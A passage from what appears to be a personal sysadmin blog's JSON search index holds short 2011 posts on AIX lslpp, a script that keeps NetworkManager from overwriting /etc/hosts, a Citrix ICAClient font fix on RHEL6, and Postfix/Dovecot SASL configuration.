-L\n","permalink":"https://www.deepreflect.net/2011/12/19/aix-lslpp/","summary":"\u003cp\u003eMemo: lslpp\u003c/p\u003e\n\u003cp\u003eList the package that owns a file\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# lslpp -w\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eList the files in a package\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# lslpp -f\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eList all packages installed\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e# lslpp -L\u003c/code\u003e\u003c/p\u003e","title":"AIX - lslpp"},{"content":"There is an annoying bug (or feature depends on point of view) every restart/reconnect managed by NetworkManager, restore the original /etc/hosts loaded on startup. I\u0026rsquo;ve made a 3 line script inspired by visudo to manual edit the hosts file and prevent the other unexpected modifies:\nFile like (with +x attribute): /usr/sbin/vihosts\n#!/bin/sh sudo chattr -i /etc/hosts sudo vim /etc/hosts sudo chattr +i /etc/hosts ","permalink":"https://www.deepreflect.net/2011/11/26/networkmanager-modifies-etchosts/","summary":"\u003cp\u003eThere is an annoying bug (or feature depends on point of view) every restart/reconnect managed by NetworkManager, restore the original /etc/hosts loaded on startup. I\u0026rsquo;ve made a 3 line script inspired by visudo to manual edit the hosts file and prevent the other unexpected modifies:\u003c/p\u003e\n\u003cp\u003eFile like (with +x attribute): /usr/sbin/vihosts\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#75715e\"\u003e#!/bin/sh\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo chattr -i /etc/hosts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo vim /etc/hosts\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo chattr +i /etc/hosts\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"NetworkManager modifies /etc/hosts"},{"content":"Another stupid Citrix ICAClient issue on Redhat linux:\n[leo@thinkleo2 ~]$ /usr/lib/ICAClient/wfcmgr -icaroot /usr/lib/ICAClient Warning: Missing charsets in String to FontSet conversion Warning: Missing charsets in String to FontSet conversion Warning: Unable to load any usable fontset Error: Aborting: no fontset found Solution 1 force language C (my favourite for any lang problems):\n[leo@thinkleo2 ~]$ export LANG=C\nSolution 2 remove charset cjkuni:\n[leo@thinkleo2 ~]$ sudo yum remove cjkuni* Loaded plugins: priorities, product-id, refresh-packagekit, rhnplugin, subscription-manager Updating Red Hat repositories. Setting up Remove Process Resolving Dependencies --\u0026gt; Running transaction check ---\u0026gt; Package cjkuni-fonts-common.noarch 0:0.2.20080216.1-34.el6 will be erased ---\u0026gt; Package cjkuni-fonts-ghostscript.noarch 0:0.2.20080216.1-34.el6 will be erased ---\u0026gt; Package cjkuni-ukai-fonts.noarch 0:0.2.20080216.1-34.el6 will be erased ---\u0026gt; Package cjkuni-uming-fonts.noarch 0:0.2.20080216.1-34.el6 will be erased --\u0026gt; Finished Dependency Resolution Dependencies Resolved ============================================================================================================================= Package Arch Version Repository Size ============================================================================================================================= Removing: cjkuni-fonts-common noarch 0.2.20080216.1-34.el6 @anaconda-RedHatEnterpriseLinux-201105101829.i386/6.1 0.0 cjkuni-fonts-ghostscript noarch 0.2.20080216.1-34.el6 @rhel-i386-workstation-6 6.2 k cjkuni-ukai-fonts noarch 0.2.20080216.1-34.el6 @rhel-i386-workstation-6 17 M cjkuni-uming-fonts noarch 0.2.20080216.1-34.el6 @anaconda-RedHatEnterpriseLinux-201105101829.i386/6.1 21 M Transaction Summary ============================================================================================================================= Remove 4 Package(s) Installed size: 37 M Is this ok [y/N]: y Downloading Packages: Running rpm_check_debug Running Transaction Test Transaction Test Succeeded Running Transaction Erasing : cjkuni-fonts-ghostscript-0.2.20080216.1-34.el6.noarch 1/4 Erasing : cjkuni-ukai-fonts-0.2.20080216.1-34.el6.noarch 2/4 Erasing : cjkuni-uming-fonts-0.2.20080216.1-34.el6.noarch 3/4 Erasing : cjkuni-fonts-common-0.2.20080216.1-34.el6.noarch 4/4 duration: 336(ms) Installed products updated. Removed: cjkuni-fonts-common.noarch 0:0.2.20080216.1-34.el6 cjkuni-fonts-ghostscript.noarch 0:0.2.20080216.1-34.el6 cjkuni-ukai-fonts.noarch 0:0.2.20080216.1-34.el6 cjkuni-uming-fonts.noarch 0:0.2.20080216.1-34.el6 Complete! [leo@thinkleo2 ~]$ ","permalink":"https://www.deepreflect.net/2011/11/24/citrix-icaclient-issue-on-linux-rehl6/","summary":"\u003cp\u003eAnother stupid Citrix ICAClient issue on Redhat linux:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003ethinkleo2 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elib\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eICAClient\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ewfcmgr \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eicaroot \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elib\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eICAClient\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWarning: Missing charsets \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e to FontSet conversion\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWarning: Missing charsets \u003cspan style=\"color:#f92672\"\u003ein\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eString\u003c/span\u003e to FontSet conversion\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eWarning: Unable to load any usable fontset\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eError: Aborting: no fontset found\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eSolution 1 force language C (my favourite for any lang problems):\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e[leo@thinkleo2 ~]$ export LANG=C\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eSolution 2 remove charset cjkuni:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003ethinkleo2 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e sudo yum remove cjkuni\u003cspan style=\"color:#f92672\"\u003e*\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eLoaded plugins: priorities, product\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eid, refresh\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003epackagekit, rhnplugin, subscription\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003emanager\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eUpdating Red Hat repositories\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eSetting up Remove Process\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eResolving Dependencies\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u0026gt;\u003c/span\u003e Running transaction check\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e---\u0026gt;\u003c/span\u003e Package cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecommon\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6 will be erased\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e---\u0026gt;\u003c/span\u003e Package cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eghostscript\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6 will be erased\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e---\u0026gt;\u003c/span\u003e Package cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eukai\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6 will be erased\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e---\u0026gt;\u003c/span\u003e Package cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003euming\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6 will be erased\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e--\u0026gt;\u003c/span\u003e Finished Dependency Resolution\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDependencies Resolved\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e=============================================================================================================================\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e Package                    Arch     Version                   Repository                                               Size\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e=============================================================================================================================\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRemoving:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecommon        noarch   \u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6     \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eanaconda\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eRedHatEnterpriseLinux\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e201105101829.\u003c/span\u003ei386\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e6.1\u003c/span\u003e   \u003cspan style=\"color:#ae81ff\"\u003e0.0\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eghostscript   noarch   \u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6     \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003erhel\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ei386\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eworkstation\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e                                \u003cspan style=\"color:#ae81ff\"\u003e6.2\u003c/span\u003e k\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eukai\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts          noarch   \u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6     \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003erhel\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ei386\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eworkstation\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e6\u003c/span\u003e                                 \u003cspan style=\"color:#ae81ff\"\u003e17\u003c/span\u003e M\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003euming\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts         noarch   \u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6     \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003eanaconda\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eRedHatEnterpriseLinux\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e201105101829.\u003c/span\u003ei386\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e6.1\u003c/span\u003e    \u003cspan style=\"color:#ae81ff\"\u003e21\u003c/span\u003e M\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTransaction Summary\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#f92672\"\u003e=============================================================================================================================\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRemove        \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e Package(s)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstalled size: \u003cspan style=\"color:#ae81ff\"\u003e37\u003c/span\u003e M\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eIs this ok [y\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eN]: y\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eDownloading Packages:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRunning rpm_check_debug\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRunning Transaction Test\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eTransaction Test Succeeded\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRunning Transaction\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  Erasing    : cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eghostscript\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch                                                     \u003cspan style=\"color:#ae81ff\"\u003e1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  Erasing    : cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eukai\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch                                                            \u003cspan style=\"color:#ae81ff\"\u003e2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  Erasing    : cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003euming\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch                                                           \u003cspan style=\"color:#ae81ff\"\u003e3\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  Erasing    : cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecommon\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch                                                          \u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e4\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eduration: \u003cspan style=\"color:#ae81ff\"\u003e336\u003c/span\u003e(ms)\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eInstalled products updated\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eRemoved:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003ecommon\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6         cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eghostscript\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003eukai\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6           cjkuni\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003euming\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003efonts\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003enoarch \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e0.2\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e20080216.1\u003c/span\u003e\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#ae81ff\"\u003e34.\u003c/span\u003eel6\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eComplete\u003cspan style=\"color:#f92672\"\u003e!\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[leo\u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e@\u003c/span\u003ethinkleo2 \u003cspan style=\"color:#f92672\"\u003e~\u003c/span\u003e]\u003cspan style=\"color:#f92672\"\u003e$\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Citrix - ICAClient issue on Linux REHL6"},{"content":"main.cf file Postfix related parametes:\nsmtpd_sasl_authenticated_header = yes smtpd_sasl_auth_enable = yes smtpd_sasl_type = dovecot smtpd_sasl_path = private/auth dovecot.conf file Dovecot related parameters:\nauth default { mechanisms = plain login [\u0026hellip;removed irrelevance parameters\u0026hellip;]\nsocket listen { client { path = /var/spool/postfix/private/auth mode = 0660 user = postfix group = postfix } } } ","permalink":"https://www.deepreflect.net/2011/10/27/postfix-auth-dovecot-backend/","summary":"\u003cp\u003emain.cf file Postfix related parametes:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esmtpd_sasl_authenticated_header = yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esmtpd_sasl_auth_enable = yes\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esmtpd_sasl_type = dovecot\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esmtpd_sasl_path = private/auth\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003edovecot.conf file Dovecot related parameters:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e auth default {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  mechanisms = plain login\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e[\u0026hellip;removed irrelevance parameters\u0026hellip;]\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" 